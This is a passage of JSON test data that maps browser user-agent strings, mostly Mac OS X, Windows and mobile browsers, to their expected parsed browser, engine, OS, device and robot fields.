"engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2251.0", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) QuickLook/5.0" : { "browser" : "safari", "browser_beta" : ".1", "browser_major" : 6, "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".25", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".5", "engine_major" : "600", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "600.2", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".5", "engine_major" : "600", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "600.2", "match" : [ "apple", "mac", "macosx", "safari", "webkit", "robot" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : "apple", "robot_beta" : "", "robot_major" : "0", "robot_minor" : ".1", "robot_name" : "Apple", "robot_version" : "0.1" }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.76", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.22 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2311.22", "browser_major" : "42", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".18", "engine_major" : "600", "engine_minor" : ".3", "engine_string" : "WebKit", "engine_version" : "600.3", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) brave/0.7.9 Chrome/47.0.2526.73 Electron/0.36.2 Safari/537.36" : { "browser" : "brave", "browser_beta" : ".9", "browser_major" : "0", "browser_minor" : ".7", "browser_string" : "Brave", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "brave", "webkit" ], "os" : "macosx", "os_beta" : ".3", "os_major" : "10", "os_minor" : ".11", "os_string" : "Mac OS X", "os_version" : "10.11", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".782.41", "browser_major" : "13", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30" : { "browser" : "chrome", "browser_beta" : ".742.112", "browser_major" : "12", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".4", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) (Contact: backend@getprismatic.com)" : { "browser" : "safari", "browser_beta" : ".24", "browser_major" : 5, "browser_minor" : ".34", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".24", "engine_string" : "WebKit", "engine_version" : "534.24", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".6", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".835.202", "browser_major" : "14", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".6", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".790.0", "browser_major" : "14", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".7", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".1", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "534", "engine_minor" : ".57", "engine_string" : "WebKit", "engine_version" : "534.57", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".8", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.8 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.8" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".1", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".8", "engine_major" : "534", "engine_minor" : ".59", "engine_string" : "WebKit", "engine_version" : "534.59", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".8", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".803.0", "browser_major" : "14", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".0", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11" : { "browser" : "chrome", "browser_beta" : ".963.65", "browser_major" : "17", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "535.11", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".0", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".1", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".22", "engine_major" : "534", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "534.51", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20" : { "browser" : "chrome", "browser_beta" : ".1036.7", "browser_major" : "19", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".20", "engine_string" : "WebKit", "engine_version" : "535.20", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".3", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.11 (KHTML, like Gecko)(compatible; http://url-validation.citygrid.com/) Chrome/23.0.1271.95 Safari/537.11" : { "browser" : "chrome", "browser_beta" : ".1271.95", "browser_major" : "23", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "537.11", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".4", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.115", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".5", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".1", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".78", "engine_string" : "WebKit", "engine_version" : "537.78", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".5", "os_major" : "10", "os_minor" : ".7", "os_string" : "Mac OS X", "os_version" : "10.7", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3" : { "browser" : "chrome", "browser_beta" : ".1063.0", "browser_major" : "19", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".3", "engine_string" : "WebKit", "engine_version" : "536.3", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".0", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".17", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.13 Luminator/2.0" : { "browser" : "chrome", "browser_beta" : ".1599.66", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".13", "engine_string" : "WebKit", "engine_version" : "537.13", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1453.93", "browser_major" : "27", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".3", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.95", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".4", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/6.2.3 Safari/537.85.12" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".2", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".18", "engine_major" : "600", "engine_minor" : ".3", "engine_string" : "WebKit", "engine_version" : "600.3", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".5", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".14", "engine_major" : "537", "engine_minor" : ".75", "engine_string" : "WebKit", "engine_version" : "537.75", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1916.153", "browser_major" : "35", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".3", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.65", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".4", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".1", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".5", "engine_major" : "600", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "600.2", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".5", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "robot" : 0 }, "Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.0" : { "browser" : "opera", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Opera", "language" : "EN", "match" : [ "mac", "macosx", "macppc", "opera" ], "os" : "macosx", "os_string" : "Mac OS X", "robot" : 0 }, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3" : { "browser" : "firefox", "browser_beta" : ".3", "browser_major" : "3", "browser_minor" : ".5", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.3", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "mac", "macosx", "firefox", "gecko" ], "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".5", "os_string" : "Mac OS X", "os_version" : "10.5", "robot" : 0 }, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "CN", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "533", "engine_minor" : ".18", "engine_string" : "WebKit", "engine_version" : "533.18", "language" : "ZH", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".8", "os_major" : "10", "os_minor" : ".5", "os_string" : "Mac OS X", "os_version" : "10.5", "robot" : 0 }, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.0.13.81_10003810) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true" : { "browser" : "silk", "browser_beta" : ".13.81_10003810", "browser_major" : "1", "browser_minor" : ".0", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".16", "engine_string" : "WebKit", "language" : "EN", "match" : [ "device", "mac", "macosx", "android", "kindlefire", "silk", "webkit" ], "os" : "macosx", "os_beta" : ".3", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x" : { "browser" : "safari", "browser_string" : "Safari", "language" : "EN", "major" : 0, "match" : [ "mac", "macosx", "macppc", "safari" ], "minor" : ".12", "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "1", "public_minor" : ".2", "public_version" : 1.2, "version" : 0.12 }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ru-ru) AppleWebKit/412 (KHTML, like Gecko) Safari/412" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "RU", "engine" : "webkit", "engine_major" : "412", "engine_string" : "WebKit", "engine_version" : "412", "language" : "RU", "match" : [ "mac", "macosx", "macppc", "safari", "webkit" ], "os" : "macosx", "os_string" : "Mac OS X", "robot" : 0 }, "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_5_7 rv:2.0; de) AppleWebKit/533.37.2 (KHTML, like Gecko) Version/5.0.3 Safari/533.37.2" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "533", "engine_minor" : ".37", "engine_string" : "WebKit", "engine_version" : "533.37", "language" : "DE", "match" : [ "mac", "macosx", "macppc", "safari", "webkit" ], "os" : "macosx", "os_beta" : ".7", "os_major" : "10", "os_minor" : ".5", "os_string" : "Mac OS X", "os_version" : "10.5", "robot" : 0 }, "Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 520) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "NOKIA Lumia 520", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "device", "windows", "winphone", "winphone8_1", "mobile", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "winphone", "os_beta" : "", "os_major" : "8", "os_minor" : ".1", "os_string" : "Windows Phone", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 929) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "NOKIA Lumia 929", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "device", "windows", "winphone", "winphone8_1", "mobile", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "winphone", "os_beta" : "", "os_major" : "8", "os_minor" : ".1", "os_string" : "Windows Phone", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.28 (KHTML, like Gecko) NX/3.0.3.12.15 NintendoBrowser/4.1.1.9601.US" : { "browser" : "safari", "browser_beta" : ".28", "browser_major" : 5, "browser_minor" : ".36", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".28", "engine_string" : "WebKit", "engine_version" : "536.28", "match" : [ "safari", "webkit" ], "robot" : 0 }, "Mozilla/5.0 (Series40; NokiaAsha230DualSIM/13.5.2/java_runtime_version=Nokia_Asha_1_1_1; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/5.5.0.0.20" : { "browser" : "mozilla", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Mozilla", "device" : "wap", "device_string" : "NokiaAsha230DualSIM", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "device", "wap", "mobile", "netscape", "mozilla", "nav4up", "nav45up", "nav6", "nav6up", "gecko" ], "robot" : 0 }, "Mozilla/5.0 (SymbianOS/9.2 U Series60/3.1 NokiaE51-1/300.34.56 Proxxx/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "wap", "device_string" : "NokiaE51-1", "engine" : "webkit", "engine_major" : "413", "engine_string" : "WebKit", "engine_version" : "413", "match" : [ "device", "wap", "mobile", "safari", "webkit" ], "robot" : 0 }, "Mozilla/5.0 (TweetmemeBot/4.0; +http://datasift.com/bot.html) Gecko/20100101 Firefox/31.0" : { "browser" : "firefox", "browser_major" : "31", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "firefox", "gecko", "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "4", "robot_minor" : ".0", "robot_name" : "TweetmemeBot", "robot_version" : "4.0" }, "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".34", "engine_string" : "WebKit", "engine_version" : "534.34", "match" : [ "unix", "linux", "safari", "webkit" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (Windows U Windows NT 6.1 ru rv:1.9.2.13) Gecko/20101203 MRA 5.7 (build 03797) Firefox/3.6.13 sputnik 2.4.0.54" : { "browser" : "firefox", "browser_beta" : ".13", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.13", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/5321 (KHTML, like Gecko) Chrome/13.0.893.0 Safari/5321" : { "browser" : "chrome", "browser_beta" : ".893.0", "browser_major" : "13", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_major" : "5321", "engine_string" : "WebKit", "engine_version" : "5321", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.704.0 Safari/534.25" : { "browser" : "chrome", "browser_beta" : ".704.0", "browser_major" : "12", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".25", "engine_string" : "WebKit", "engine_version" : "534.25", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25" : { "browser" : "chrome", "browser_beta" : ".706.0", "browser_major" : "12", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".25", "engine_string" : "WebKit", "engine_version" : "534.25", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, 